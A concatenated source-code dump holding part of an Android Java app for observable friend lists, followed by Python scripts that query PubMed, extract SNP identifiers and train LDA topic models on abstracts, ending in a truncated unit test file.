public static final String FRIEND_LIST_FRAGMENT_CHECKABLE = "FriendListCheckableFragment";
public static final String BEST_FRIEND_LIST_FRAGMENT = "BestFriendListFragment";
public static final String BEST_FRIEND_LIST_FRAGMENT_CHECKABLE = "BestFriendListCheckableFragment";
public static final String ALL_USER_LIST_FRAGMENT = "AllUserListFragment";
private static UserListFragmentFactory instance;
public synchronized static UserListFragmentFactory getInstance() {
if (null == instance) {
instance = new UserListFragmentFactory();
}
return instance;
}
private UserListFragmentFactory() {
}
public UserListFragment newInstance(String className) {
if (null == className) return null;
UserListFragment fragment = null;
switch (className) {
case FRIEND_LIST_FRAGMENT:
fragment = new FriendListFragment();
break;
case BEST_FRIEND_LIST_FRAGMENT:
fragment = new BestFriendListFragment();
break;
case FRIEND_LIST_FRAGMENT_CHECKABLE:
//fragment = new FriendsListCheckableFragment();
break;
case BEST_FRIEND_LIST_FRAGMENT_CHECKABLE:
//fragment = new BestFriendsListCheckableFragment();
break;
case ALL_USER_LIST_FRAGMENT:
fragment = new AllUserListFragment();
break;
}
/*
TODO eventually
Bundle args = new Bundle();
args.putString(ARG_PARAM1, param1);
args.putString(ARG_PARAM2, param2);
fragment.setArguments(args);
*/
//register the fragment has an observer of the dataset
User.getCurentUser().getRelations().addObserver(fragment);
return fragment;
}
}
<file_sep>/app/src/main/java/pierre/guillaume/me/observablelists/Model/User.java
package pierre.guillaume.me.observablelists.Model;
import android.util.Log;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import pierre.guillaume.me.observablelists.App;
/**
* Created by Pierre on 27/06/2015.
*/
public class User {
/* --- Statics --- */
private static User currentUser;
public synchronized static User getCurentUser() {
if (null == currentUser) {
currentUser = new User("Pierre");
currentUser.relations = App.getCurrentUserRelations();
}
return currentUser;
}
/* --- Fields --- */
private String name;
private UserRelationsMap relations;
/* --- Public Methods --- */
public User() {
init();
};
public User(String name) {
this.name = name;
init();
}
private void init() {
this.relations = new UserRelationsMap();
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public UserRelationsMap getRelations() {
return relations;
}
public boolean isFriend(User user) {
return this.relations.get(user).isFriend();
}
public boolean isBestFriend(User user) {
return this.relations.get(user).isBestFriend();
}
public boolean hasBlocked(User user) {
return this.relations.get(user).isHasBlocked();
}
public List<User> getFriends() {
List<User> friends = new ArrayList<>();
for(UserRelationsMap.Entry<User, UserRelation> entry : relations.entrySet()) {
UserRelation relation = entry.getValue();
if (relation.getFrom().isFriend(relation.getTo())) {
friends.add(relation.getTo());
}
}
return friends;
}
public List<User> getBestFriends() {
List<User> friends = new ArrayList<>();
for(UserRelationsMap.Entry<User, UserRelation> entry : relations.entrySet()) {
UserRelation relation = entry.getValue();
if (relation.getFrom().isBestFriend(relation.getTo())) {
friends.add(relation.getTo());
}
}
return friends;
}
public void toggleFriendRelation(User user) {
this.relations.toggleFriendRelation(user);
}
public void removeBestFriend(User user) {
this.relations.removeBestFriend(user);
}
public void toggleBestFriendRelation(User user) {
this.relations.toggleBestFriendRelation(user);
}
public static List<User> sortByUsername(List<User> list)
{
Collections.sort(list, new Comparator<User>() {
@Override
public int compare(User lhs, User rhs) {
return lhs.getName().compareTo(rhs.getName());
}
});
return list;
}
public String toString() {
return getName();
}
}
<file_sep>/app/src/main/java/pierre/guillaume/me/observablelists/MainActivity.java
package pierre.guillaume.me.observablelists;
import android.content.Intent;
import android.support.design.widget.TabLayout;
import android.support.v4.view.ViewPager;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import pierre.guillaume.me.observablelists.Model.User;
import pierre.guillaume.me.observablelists.UserList.UserListFragmentFactory;
public class MainActivity extends ActionBarActivity {
ViewPager viewPager;
TabLayout tabLayout;
UserListViewPagerAdapter userListViewPagerAdapter;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String[] pages = {
UserListFragmentFactory.BEST_FRIEND_LIST_FRAGMENT,
UserListFragmentFactory.FRIEND_LIST_FRAGMENT,
UserListFragmentFactory.ALL_USER_LIST_FRAGMENT
};
userListViewPagerAdapter = new UserListViewPagerAdapter(pages, getSupportFragmentManager());
viewPager = (ViewPager) findViewById(R.id.pager);
viewPager.setAdapter(userListViewPagerAdapter);
viewPager.setOnPageChangeListener(new ViewPager.OnPageChangeListener() {
@Override
public void onPageScrolled(int position, float positionOffset, int positionOffsetPixels) {
}
@Override
public void onPageSelected(int position) {
try {
User.getCurentUser().getRelations().deleteObserver(userListViewPagerAdapter.getItemAsObserver(position));
userListViewPagerAdapter.getItemAsObserver(position).refreshContentView();
User.getCurentUser().getRelations().addObserver(userListViewPagerAdapter.getItemAsObserver(position - 1));
User.getCurentUser().getRelations().addObserver(userListViewPagerAdapter.getItemAsObserver(position + 1));
} catch (NullPointerException | IndexOutOfBoundsException e) {
//inexistant fragment, ignore exception
}
}
@Override
public void onPageScrollStateChanged(int state) {
}
});
tabLayout = (TabLayout) findViewById(R.id.tabs);
tabLayout.setupWithViewPager(viewPager);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_checkable, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
int id = item.getItemId();
if (id == R.id.action_settings) {
startActivity(new Intent(this, CheckableActivity.class));
finish();
return true;
}
return super.onOptionsItemSelected(item);
}
}
<file_sep>/app/src/main/java/pierre/guillaume/me/observablelists/Model/UserRelationsMap.java
package pierre.guillaume.me.observablelists.Model;
import android.util.Log;
import pierre.guillaume.me.observablelists.ObservableCollection.ObservableMap;
/**
* Created by Pierre on 27/06/2015.
*/
public final class UserRelationsMap extends ObservableMap<User, UserRelation>{
public UserRelationsMap() {
super();
}
public void toggleFriendRelation(User user) {
if (get(user).isFriend()) {
get(user).setIsFriend(false);
} else {
get(user).setIsFriend(true);
}
put(user, get(user));
}
public void toggleBestFriendRelation(User user) {
if (get(user).isBestFriend()) {
get(user).setIsBestFriend(false);
} else {
get(user).setIsBestFriend(true);
}
put(user, get(user));
}
public void removeBestFriend(User user) {
get(user).setIsBestFriend(false);
}
}
<file_sep>/app/src/main/java/pierre/guillaume/me/observablelists/UserListViewPagerAdapter.java
package pierre.guillaume.me.observablelists;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentManager;
import android.support.v4.app.FragmentPagerAdapter;
import java.util.ArrayList;
import java.util.List;
import pierre.guillaume.me.observablelists.UserList.UserListFragment;
import pierre.guillaume.me.observablelists.UserList.UserListFragmentFactory;
/**
* Created by Pierre on 27/06/2015.
*/
public class UserListViewPagerAdapter extends FragmentPagerAdapter {
private List<UserListFragment> registeredFragments;
public UserListViewPagerAdapter(String[] fragmentNames, FragmentManager fm) {
super(fm);
//register all fragments
registeredFragments = new ArrayList<>();
for (int i = 0, l = fragmentNames.length; i < l; i++) {
registeredFragments.add(UserListFragmentFactory.getInstance().newInstance(fragmentNames[i]));
}
}
@Override
public Fragment getItem(int position) {
return registeredFragments.get(position);
}
@Override
public int getCount() {
return registeredFragments.size();
}
@Override
public CharSequence getPageTitle(int position) {
return registeredFragments.get(position).getTitle();
}
public UserListFragment getItemAsObserver(int position) {
return registeredFragments.get(position);
}
}
<file_sep>/app/src/main/java/pierre/guillaume/me/observablelists/Model/UserRelation.java
package pierre.guillaume.me.observablelists.Model;
import android.util.Log;
/**
* Created by Pierre on 27/06/2015.
*/
public class UserRelation {
private User from;
private User to;
private boolean isFriend;
private boolean isBestFriend;
private boolean hasBlocked;
public UserRelation() {
}
public UserRelation(User from, User to, boolean isFriend, boolean isBestFriend, boolean hasBlocked) {
this.from = from;
this.to = to;
this.isFriend = isFriend;
this.isBestFriend = isBestFriend;
this.hasBlocked = hasBlocked;
}
public User getFrom() {
return null == from ? User.getCurentUser() : from;
}
public void setFrom(User from) {
this.from = from;
}
public User getTo() {
return to;
}
public void setTo(User to) {
this.to = to;
}
public boolean isFriend() {
return isFriend;
}
public void setIsFriend(boolean isFriend) {
this.isFriend = isFriend;
if (!isFriend && isBestFriend) {
isBestFriend = false;
}
}
public boolean isHasBlocked() {
return hasBlocked;
}
public void setHasBlocked(boolean hasBlocked) {
this.hasBlocked = hasBlocked;
}
public boolean isBestFriend() {
return isBestFriend;
}
public void setIsBestFriend(boolean isBestFriend) {
this.isBestFriend = isBestFriend;
}
}
<file_sep>/app/src/main/java/pierre/guillaume/me/observablelists/UserList/UserListFragment.java
package pierre.guillaume.me.observablelists.UserList;
import android.app.Activity;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import java.util.Observable;
import java.util.Observer;
import pierre.guillaume.me.observablelists.R;
/**
* Created by Pierre on 27/06/2015.
*/
public abstract class UserListFragment extends Fragment implements Observer {
/**
* The fragment's RecyclerView.
*/
protected RecyclerView userListView;
protected RecyclerView.Adapter usersAdapter;
protected View noUserLayout;
protected String title;
public UserListFragment() {}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View view = inflater.inflate(getLayoutResourceId(), container, false);
userListView = (RecyclerView) view.findViewById(R.id.user_list);
RecyclerView.LayoutManager layoutManager = new LinearLayoutManager(getActivity());
userListView.setLayoutManager(layoutManager);
userListView.setHasFixedSize(true);
if (null != usersAdapter) {
userListView.setAdapter(usersAdapter);
} else {
throw new NullPointerException("usersAdapter is null ! check its implementation in child fragment.");
}
noUserLayout = view.findViewById(R.id.no_user_layout);
return view;
}
@Override
public void onResume() {
refreshContentView();
super.onResume();
}
@Override
public void onAttach(Activity activity) {
super.onAttach(activity);
}
@Override
public void onDetach() {
super.onDetach();
}
public String getTitle() {
return null != this.title ? this.title : "";
}
public abstract int getLayoutResourceId();
/**
* Called when the view need to be updated
*/
public final void refreshContentView() {
refreshData();
checkLayoutVisibility();
}
/**
* Called when a list redraw is needed.
*/
public abstract void refreshData();
@Override
public void update(Observable observable, Object data) {
refreshContentView();
}
protected void checkLayoutVisibility() {
if (usersAdapter.getItemCount() == 0) {
noUserLayout.setVisibility(View.VISIBLE);
userListView.setVisibility(View.GONE);
} else {
noUserLayout.setVisibility(View.GONE);
userListView.setVisibility(View.VISIBLE);
}
}
}
|
56abc469e10ad56518c3d2030e1f25e880e20140
|
[
"Java"
] | 9 |
Java
|
papswell/ObservableLists
|
4f67a6d9d43bd0ff6e2ed1245d6fb3a6d778c38a
|
70b01d5653e059e1ef0cec52e450deb85a625a6c
|
refs/heads/master
|
<file_sep><?php
$dir = "./videos/"; // diretório para o arquivo
$dirFinal = "./videos/convert/"; // diretório para arquivos convertidos
$file = "arquivo.rmvb" // nome do arquivo
$fileName = explode(".", $file); // fileName[0] recebe nome do arquivo e fileName[1] recebe a extensão
if(! is_dir($dirFinal)){ // se o diretório não existe
mkdir($dirFinal); // cria diretório
}
// se o arquivo .rmvb existe
if (is_file($dir . $file)){
// convertendo arquivo
shell_exec("ffmpeg -i " . $dir . $file . " -vcodec mpeg4 -sameq -acodec aac -ab " . $dirFinal . $fileName[0] . ".mp4");
}
// verificando existência do arquivo convertido
if (is_file($dirFinal . $fileName[0] . ".mp4")) {
echo "Arquivo convertido: " . $dirFinal . $fileName[0] . ".mp4";
}
?><file_sep>##Convertendo arquivos de media usando o ffmpeg no php
##ffmpeg
Para instalar o [ffmpeg](http://www.ffmpeg.org) em um servidor Linux:
- Debian/Ubuntu
```bash
$ sudo apt-get install ffmpeg
```
- Fedora
```bash
$ su -c 'yum install ffmpeg'
```
Obs.: é nescessário instalar os codecs dependendo do tipo de arquivo que você for converter.
|
d90b77fcc9441f326c4b1e0b0600ce3449a8d741
|
[
"Markdown",
"PHP"
] | 2 |
PHP
|
pristavu/php-converter-ffmpeg
|
89a71e6adaaf5ebda6a5e689e7cacfe0648f21ca
|
91e43334a93f1bda8c5b91f3f6a8a9a5f979f0af
|
refs/heads/master
|
<repo_name>KamalMajaiti/WebRCE<file_sep>/WebRCE.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#Libs
import pycurl
from io import BytesIO
print ('################################################################')
print ('# Welcome to WebRCE Alpha release.')
print ('# Utility to get remote shell from PHP Command Execution')
print ('# by <NAME>')
print ('# Description: Utility for execute comands enconding to PHP code.')
print ('# https://github.com/')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
def RealizarPeticionWeb( url ):
"Realiza la peticion web con el exploit codificado."
HTML=''
CuerpoHTML = BytesIO()
PunteroCurl = pycurl.Curl()
PunteroCurl.setopt(PunteroCurl.URL, url )
PunteroCurl.setopt(PunteroCurl.WRITEDATA, CuerpoHTML)
PunteroCurl.setopt(PunteroCurl.SSL_VERIFYPEER, 0)
PunteroCurl.setopt(PunteroCurl.SSL_VERIFYHOST, 0)
PunteroCurl.perform()
PunteroCurl.close()
HTML=CuerpoHTML.getvalue()
return HTML.decode('UTF-8')
def InjectarExploitEnURL ( URL , ExpleoitPayload):
"Carga el exploit en la URL."
return URL.replace('#exploit#', ExpleoitPayload)
def ComandoACaracterPHP ( comando ):
"Esta funcion convierte los comandos en llamadas de la funcion CHAR() de php y lo devuelve como string."
Payload=''
for LETRA in comando:
CodigoAsci=str(ord(LETRA))
Payload=Payload+'chr('+CodigoAsci+').'
return Payload[:-1]
url = input('Introduce la URL e indica la ubicacion donde injectar el exploit mediante la marca #exploit# ejemplo: \n http://example.org/search.php?param1=abc¶m2=#exploit#\nurl:')
# Menu para elegir la funcion de ejecucion en PHP
funcionesPHP = {}
funcionesPHP['1']="system"
funcionesPHP['2']="passthru"
funcionesPHP['3']="exec"
funcionesPHP['4']="shell_exec"
print('Elige la funcion con la que ejecutar el codigo en PHP:\nOpcion 1: system\nOpcion 2: passthru\nOpcion 3: exec\nOpcion 4: shell_exec')
NfuncionPHP=input('Funcion PHP a usar [1-4]:')
funcionPHP=funcionesPHP[NfuncionPHP]
print ('Se usara: '+funcionPHP+'\n')
comando=''
print ('Introduce "exit" para salir.\n')
while comando != 'exit':
comando = input("Remote Shell Command:")
ComandoEnPHP=ComandoACaracterPHP ( comando )
Exploit=funcionPHP+'('+ComandoEnPHP+')'
URLConExploit=InjectarExploitEnURL (url, Exploit)
ResultadoPeticionWeb =''
ResultadoPeticionWeb = RealizarPeticionWeb( URLConExploit )
print ( ResultadoPeticionWeb )
quit()
|
53903fbc9f520efdbe19bed417058e2e63b1b86e
|
[
"Python"
] | 1 |
Python
|
KamalMajaiti/WebRCE
|
1af6a12cd1548167904bb8878d72f289e1854c13
|
b0c8b1a64286ed91f585e532ddde6cafa5a5381c
|
refs/heads/master
|
<repo_name>sergiosegovia/posts-api<file_sep>/controllers/posts.controller.js
'use strict'
var Post = require('../models/post');
function getPost (req, res) {
var postId = req.params.id;
Post.findById(postId, (err, post) => {
if(err) {
if(!post) {
res.status(404).send({message: "Post " + postId + " dosn't exists"});
} else {
res.status(500).send({message: "Internal Server Error"});
}
} else {
res.status(200).send({post});
}
})
};
function getPosts (req, res) {
Post.find({}, (err, posts) => {
if(err) {
if(!posts) {
res.status(404).send({message: "There's not have any post at this moment"});
} else {
res.status(500).send({message: "Internal Server Error"})
}
} else {
res.status(200).send({posts});
}
})
};
function newPost (req, res) {
var data = req.body;
var post = new Post();
post.title = data.title;
post.date = data.date;
post.author = data.author;
post.content = data.content;
post.category = data.category;
post.save((err, postCreated) => {
if(err) {
res.status(500).send("Internal Server Error");
} else {
res.status(200).send({post: postCreated});
}
});
};
function updatePost (req, res) {
var postId = req.params.id;
var data = req.body;
Post.findByIdAndUpdate(postId, data, (err, postUpdated) => {
if(err){
res.status(500).send({message: "Internal Server Error"});
} else {
res.status(200).send({updated: true, post: postUpdated});
}
});
};
function deletePost (req, res) {
var postId = req.params.id;
Post.findById(postId, (err, post) => {
if(err) {
res.status(500).send({message: "Internal Server Error"});
} else {
post.remove(() => {
res.status(200).send({deleted: true});
});
}
})
}
module.exports = {
getPost,
getPosts,
newPost,
updatePost,
deletePost,
}
<file_sep>/routes/posts.routes.js
'use strict'
var postsController = require('../controllers/posts.controller');
var express = require('express');
var api = express.Router();
api.get('/post/:id', postsController.getPost);
api.get('/posts', postsController.getPosts);
api.post('/post/new', postsController.newPost);
api.put('/post/:id', postsController.updatePost);
api.delete('/post/:id', postsController.deletePost);
module.exports = api;
<file_sep>/index.js
'use strict'
var mongo = require('mongoose');
var app = require('./app');
var port = 3000 || proccess.env.PORT ;
mongo.connect('mongodb://localhost:27017/posts_api', (err) => {
if(err) {
throw err;
} else {
console.log('Database succesfully connected');
app.listen(port, (err) => {
if(err) {
throw err;
} else {
console.log('App running and listen on port: ' + port);
}
})
}
});
|
5b378bf0888b23d7b62d3a3d07de923cecadc0d8
|
[
"JavaScript"
] | 3 |
JavaScript
|
sergiosegovia/posts-api
|
a3f3903bd5c87971b47d1effb73ee4530a8f3211
|
7b8a6e965837ee1ae1efb73041b93160ab82385c
|
refs/heads/master
|
<file_sep>from dc.utils import get_pubmed_ids_from_phenotypes, get_pubmed_ids_from_rsids, get_rsids_from_pubmed_id
import xml.etree.ElementTree as ET
import argparse
from glob import glob
from os.path import dirname, abspath, join
PROJECT_ROOT = dirname(abspath(__file__))
# parser for handling command line arguments
parser = argparse.ArgumentParser(description='Find new association based on phenotypes (HPO terms)')
parser.add_argument('phenotypes', type=str, nargs='+', help='a list of phenotypes')
if __name__ == '__main__':
# processing arguments
args = parser.parse_args()
# get initial pubmed ids
pubmed_ids = get_pubmed_ids_from_phenotypes(args.phenotypes)
# expand pubmed ids
rsids = []
for id in pubmed_ids:
rsids.extend(get_rsids_from_pubmed_id(id))
expand_pubmed_ids = get_pubmed_ids_from_rsids(rsids)
# load pubmed documents
abstract = {}
xml_files = glob(join(PROJECT_ROOT, 'data', '*.xml'))
for f in xml_files:
tree = ET.parse('./data/pubmed18n0001.xml')
root = tree.getroot()
for article in root.findall('PubmedArticle'):
try:
id = article.find('MedlineCitation').find('PMID').text
abstr_text = article.find('MedlineCitation').find('Article').find('Abstract').find('AbstractText').text
abstract[id] = abstr_text
except AttributeError:
continue
extracted_abstr = {}
for id in expand_pubmed_ids:
abstr_text = abstract.get(id)
if abstr_text is not None:
extracted_abstr[id] = abstr_text
# TODO: do the clustering
print(extracted_abstr.keys())
<file_sep>
# words with count < MIN_COUNTS and count > MAX_COUNTS will be removed
MIN_COUNTS = 20
MAX_COUNTS = 1800
# minimum document length (number of words) after preprocessing
MIN_LENGTH = 15
N_TOPICS = 20
ALPHA = 0.5
ETA = 0.5
# Preprocessing - https://github.com/TropComplique/lda2vec-pytorch/blob/master/utils/preprocess.py
from collections import Counter
from tqdm import tqdm
def preprocess(docs, nlp, min_length, min_counts, max_counts):
"""Tokenize, clean, and encode documents.
Arguments:
docs: A list of tuples (index, string), each string is a document.
nlp: A spaCy object, like nlp = spacy.load('en').
min_length: An integer, minimum document length.
min_counts: An integer, minimum count of a word.
max_counts: An integer, maximum count of a word.
Returns:
encoded_docs: A list of tuples (index, list), each list is a document
with words encoded by integer values.
decoder: A dict, integer -> word.
word_counts: A list of integers, counts of words that are in decoder.
word_counts[i] is the number of occurrences of word decoder[i]
in all documents in docs.
"""
def clean_and_tokenize(doc):
text = ' '.join(doc.split()) # remove excessive spaces
# text = nlp(text, tag=True, parse=False, entity=False)
text = nlp(text)
return [t.lemma_ for t in text
if t.is_alpha and len(t) > 2 and not t.is_stop]
tokenized_docs = [(i, clean_and_tokenize(doc)) for i, doc in tqdm(docs)]
# remove short documents
n_short_docs = sum(1 for i, doc in tokenized_docs if len(doc) < min_length)
tokenized_docs = [(i, doc) for i, doc in tokenized_docs if len(doc) >= min_length]
print('number of removed short documents:', n_short_docs)
# remove some tokens
counts = _count_unique_tokens(tokenized_docs)
tokenized_docs = _remove_tokens(tokenized_docs, counts, min_counts, max_counts)
n_short_docs = sum(1 for i, doc in tokenized_docs if len(doc) < min_length)
tokenized_docs = [(i, doc) for i, doc in tokenized_docs if len(doc) >= min_length]
print('number of additionally removed short documents:', n_short_docs)
counts = _count_unique_tokens(tokenized_docs)
encoder, decoder, word_counts = _create_token_encoder(counts)
print('\nminimum word count number:', word_counts[-1])
print('this number can be less than MIN_COUNTS because of document removal')
encoded_docs = _encode(tokenized_docs, encoder)
return encoded_docs, decoder, word_counts
def _count_unique_tokens(tokenized_docs):
tokens = []
for i, doc in tokenized_docs:
tokens += doc
return Counter(tokens)
def _encode(tokenized_docs, encoder):
return [(i, [encoder[t] for t in doc]) for i, doc in tokenized_docs]
def _remove_tokens(tokenized_docs, counts, min_counts, max_counts):
"""
Words with count < min_counts or count > max_counts
will be removed.
"""
total_tokens_count = sum(
count for token, count in counts.most_common()
)
print('total number of tokens:', total_tokens_count)
unknown_tokens_count = sum(
count for token, count in counts.most_common()
if count < min_counts or count > max_counts
)
print('number of tokens to be removed:', unknown_tokens_count)
keep = {}
for token, count in counts.most_common():
keep[token] = count >= min_counts and count <= max_counts
return [(i, [t for t in doc if keep[t]]) for i, doc in tokenized_docs]
def _create_token_encoder(counts):
total_tokens_count = sum(
count for token, count in counts.most_common()
)
print('total number of tokens:', total_tokens_count)
encoder = {}
decoder = {}
word_counts = []
i = 0
for token, count in counts.most_common():
# counts.most_common() is in decreasing count order
encoder[token] = i
decoder[i] = token
word_counts.append(count)
i += 1
return encoder, decoder, word_counts
import spacy
from gensim import corpora, models
def train_ldas(initial_abstracts, combined_abstracts, n_topics=20, alpha='auto', eta='auto'):
"""Return two LDA models after training on each on the two input abstract lists.
`initial_abstracts` and `combined_abstracts` are lists of tuples containing (PMID, abstract_text).
"""
nlp = spacy.load('en')
initial_preprocess = preprocess(
initial_abstracts, nlp, MIN_LENGTH, MIN_COUNTS, MAX_COUNTS
)
combined_preprocess = preprocess(
combined_abstracts, nlp, MIN_LENGTH, MIN_COUNTS, MAX_COUNTS
)
# make single dictionary
(encoded_docs, decoder, _) = initial_preprocess
initial_texts = [[decoder[j] for j in doc] for i, doc in encoded_docs]
(encoded_docs, decoder, _) = combined_preprocess
combined_texts = [[decoder[j] for j in doc] for i, doc in encoded_docs]
dictionary = corpora.Dictionary(initial_texts + combined_texts)
# train initial lda
corpus = [dictionary.doc2bow(text) for text in initial_texts]
initial_lda = models.LdaModel(corpus, alpha=alpha, eta=eta, id2word=dictionary, num_topics=n_topics)
# train combined lda
corpus = [dictionary.doc2bow(text) for text in combined_texts]
combined_lda = models.LdaModel(corpus, alpha=alpha, eta=eta, id2word=dictionary, num_topics=n_topics)
return initial_lda, combined_lda
if __name__ == '__main__':
print("Training LDA's")
# Sample usage:
import pandas as pd
# Read and dedupe corpora
initial = pd.read_csv('initial_corpus.csv').groupby('PMID').first()['AB']
combined = pd.read_csv('diabetes_corpus_combined.csv').groupby('PMID').first()['AB']
# Create list of tuples
initial_abstracts = zip(initial.index, initial)
combined_abstracts = zip(combined.index, combined)
initial_lda, combined_lda = train_ldas(initial_abstracts, combined_abstracts, n_topics=N_TOPICS, alpha=ALPHA, eta=ETA)
# Display top topics for two different models
print("Initial corpus topics:")
for i, topics in initial_lda.show_topics(N_TOPICS, formatted=False):
print('topic', i, ':', ' '.join([t for t, _ in topics]))
print("Combined corpus topics:")
for i in range(N_TOPICS):
print(initial_lda.show_topic(i))<file_sep>import urllib2, json
from Bio import Entrez
from Bio import Medline
import re
Entrez.email = "<EMAIL>"
max_res = 1000
format = 'PubTator'
bioconcept = "Disease" # can be "Gene,Mutation,Disease"
accep_pub_types = ["Journal Article", "Clinical Trial"] #add more if needed
hallmark_queries = ['proliferation receptor',#add fuzzy matching
'growth factor',
'cell cycle',
'contact inhibition',
'apoptosis',
'necrosis',
'autophagy',
'senescence',
'immortalization',
'angiogenesis',
'angiogenic factor',
'metastasis',
'mutation',
'DNA repair',
'adducts',
'DNA damage',
'inflammation',
'oxidative stress',
'warburg effect',
'growth',
'activation',
'immune system']
test_queries = ['Autistic behavior',
'Restrictive behavior',
'Impaired social interactions',
'Poor eye contact',
'Impaired ability to form peer relationships',
'No social interaction',
'Impaired use of nonverbal behaviors',
'Lack of peer relationships',
'Stereotypy']
def fetch_medline_records(idlist, type):
handle = Entrez.efetch(db="pubmed", id=idlist, rettype="medline", retmode=type)
records = Medline.parse(handle)
records = list(records)
return records
def pubmed_query(max_res, query=""):
handle = Entrez.esearch(db="pubmed", term=query, rettype="medline", retmode="text", retmax=max_res)
record = Entrez.read(handle)
handle.close()
idlist = record["IdList"]
return idlist
def read_url(url, as_str=True):
if as_str:
urllib_result = urllib2.urlopen(url)
res = urllib_result.read()
return res
else:
return urllib2.urlopen(url)
def get_records(query):
handle = Entrez.esearch(db="pubmed", term=query, rettype="medline", retmode="text", retmax=max_res)
record = Entrez.read(handle)
handle.close()
idList = record['IdList']
records = fetch_medline_records(idList, "text")#this is a Python list
return records
#for record in records:
#print(record.get("AB", "?"))
#print("\n")
def get_pmids_from_query(query):
handle = Entrez.esearch(db="pubmed", term=query, rettype="medline", retmode="text", retmax=max_res)
record = Entrez.read(handle)
handle.close()
idList = record['IdList']
return list(idList)
def disease_extract(records):# uses PubTator (MEDIC disease dictionary)
disease_pattern = re.compile(r"Disease\tD\w\w\w\w\w\w")
for record in records:
#if record.get("PT", "?") in accep_pub_types:
pmid = record.get("PMID", "?")
url_Submit = "https://www.ncbi.nlm.nih.gov/CBBresearch/Lu/Demo/RESTful/tmTool.cgi/" + bioconcept + "/" + pmid + "/" + format + "/"
url_result = urllib2.urlopen(url_Submit)
res = url_result.read()
raw_mesh = re.findall(disease_pattern, res)
cooked_mesh = [mention.replace("Disease\t", "") for mention in raw_mesh] # this is called a list comprehension
cooked_mesh = list(set(cooked_mesh)) # only keep unique disease ids
print(cooked_mesh)
def rsid_extract(records):
rsid_pattern = re.compile(r"rs\d+")
rsids = list()
for record in records:
pmid = '21844098'#record.get("PMID", "?")
url_Submit = "https://www.ncbi.nlm.nih.gov/CBBresearch/Lu/Demo/RESTful/tmTool.cgi/" + "Mutation" + "/" + pmid + "/" + format + "/"
url_result = urllib2.urlopen(url_Submit)
res = url_result.read()
raw_mesh = re.findall(rsid_pattern, res)
cooked_mesh = [mention.replace("rs", "") for mention in raw_mesh]
cooked_mesh = list(set(cooked_mesh))
rsids.append(cooked_mesh)
rsids = [item for sublist in rsids for item in sublist]
return rsids
def get_abstracts(pmids):
records = fetch_medline_records(pmids, "Text")
abstracts = list()
for record in records:
abstracts.append([record.get("PMID", "?"), record.get("AB", "?")])
return abstracts
def get_rsids_from_phenotypes(pmids):
rsid_pattern = re.compile(r"rs\d+")
rsids = list()
for pmid in pmids:
url_Submit = "https://www.ncbi.nlm.nih.gov/CBBresearch/Lu/Demo/RESTful/tmTool.cgi/" + "Mutation" + "/" + pmid + "/" + format + "/"
url_result = urllib2.urlopen(url_Submit)
res = url_result.read()
raw_mesh = re.findall(rsid_pattern, res)
cooked_mesh = [mention.replace("rs", "") for mention in raw_mesh]
cooked_mesh = list(set(cooked_mesh))
rsids.append(cooked_mesh)
rsids = [item for sublist in rsids for item in sublist]
return rsids
def get_rsids_crude(abstracts):
rsid_pattern = re.compile(r"rs\d+")
rsids = list()
for abstract in abstracts:
raw = re.findall(rsid_pattern, abstract)
cooked_mesh = [mention.replace("rs", "") for mention in raw]
cooked_mesh = list(set(cooked_mesh))
rsids.append(cooked_mesh)
rsids = [item for sublist in rsids for item in sublist]
return rsids
def get_pmids(rsids):
pmids = list()
for id in rsids:
query = 'rs' + id + 'AND pubmed_snp_cited[sb]'
handle = Entrez.esearch(db="pubmed", term=query, rettype="medline", retmode="text", retmax=max_res)
record = Entrez.read(handle)
handle.close()
idList = record['IdList']
pmids.append(idList)
pmids = [item for sublist in pmids for item in sublist]
return pmids
def get_pubmed_ids_from_phenotypes(phenotypes):
idList = list()
for phenotype in phenotypes:
temp_ids = get_pmids_from_query(phenotype)
idList.append(temp_ids)
idList = [item for sublist in idList for item in sublist]
return idList
#Test Code
#rsids = ['7041', '4588']
#get_pmids(rsids)
#for query in test_queries:
# print(query)
# records = get_records(query)
# rsid_extract(records)
<file_sep>import unittest
from utils import get_pubmed_ids_from_phenotypes, get_pubmed_ids_from_rsids, get_rsids_from_pubmed_id, get_abstracts_from_pubmed_ids, preprocess
class test_get_pubmed_ids_from_rsids(unittest.TestCase):
def test(self):
rsids = ['7041', '4588']
pubmed_ids = get_pubmed_ids_from_rsids(rsids)
self.assertEqual(len(pubmed_ids), 200)
self.assertIsInstance(pubmed_ids, list)
for id in pubmed_ids:
self.assertIsInstance(id, str)
class test_get_rsids_from_pubmed_id(unittest.TestCase):
def test_valid(self):
pubmed_id = '25626708'
rsids = get_rsids_from_pubmed_id(pubmed_id)
self.assertEqual(len(rsids), 29)
self.assertIsInstance(rsids, list)
for id in rsids:
self.assertIsInstance(id, str)
def test_no_match(self):
pubmed_id = '29554659'
rsids = get_rsids_from_pubmed_id(pubmed_id)
self.assertEqual(rsids, [])
class test_get_pubmed_ids_from_phenotypes(unittest.TestCase):
def test(self):
phenotypes = ['Neoplasm', 'Growth abnormality'] # HP:0002664 and HP:0001507
pubmed_ids = get_pubmed_ids_from_phenotypes(phenotypes)
self.assertEqual(len(pubmed_ids), 400)
self.assertIsInstance(pubmed_ids, list)
for id in pubmed_ids:
self.assertIsInstance(id, str)
class test_get_abstracts_from_pubmed_ids(unittest.TestCase):
def test(self):
pubmed_ids = ['29547046', '29545258']
abstracts = get_abstracts_from_pubmed_ids(pubmed_ids)
self.assertEqual(len(abstracts), 2)
class test_preprocess(unittest.TestCase):
def test(self):
text = 'I and John are good friends.'
